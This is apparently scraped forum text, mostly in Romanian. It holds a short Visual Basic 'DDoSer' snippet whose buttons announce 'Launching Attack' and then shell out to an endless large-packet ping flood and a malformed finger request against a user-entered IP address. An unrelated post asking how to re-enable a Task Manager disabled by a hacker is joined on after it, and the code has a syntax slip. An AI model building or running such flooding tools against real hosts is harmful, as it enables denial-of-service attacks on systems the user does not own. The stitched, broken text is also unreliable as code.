Private Sub cmdPing_Click() 'this tells it what to give the instructions to MsgBox "Launching Attack", vbInformation, "Launching Attack" 'This is a little pop-up Shell ("ping " & txtIP.Text & " -l 65500 -t" ' "shell tells it to open DOS then type this in automatically lblstatus.Caption = "Pinging IP" 'Changes the Label caption End Sub
Private Sub cmdFinger_Click() MsgBox "Launching Attack", vbInformation, "Launching attack" Shell ("finger @@@@@@@@@@@@@@" & txtIP.Text) lblstatus.Caption = "Finger IP" End Sub
Ddoser – poza de Lord_DaZuRa, in Visual Basic · 49.5KB
Pls help...nu am facut un nou topic ca nu am shtiut cum dar ash dori sa aflu ceva.Cum pot sa activez task manager....habar nam ,am fost un haker care a facut asta saumnoh...da ce conteaza ii dak shtitzi cum sa repar chestia aia...pls help!!!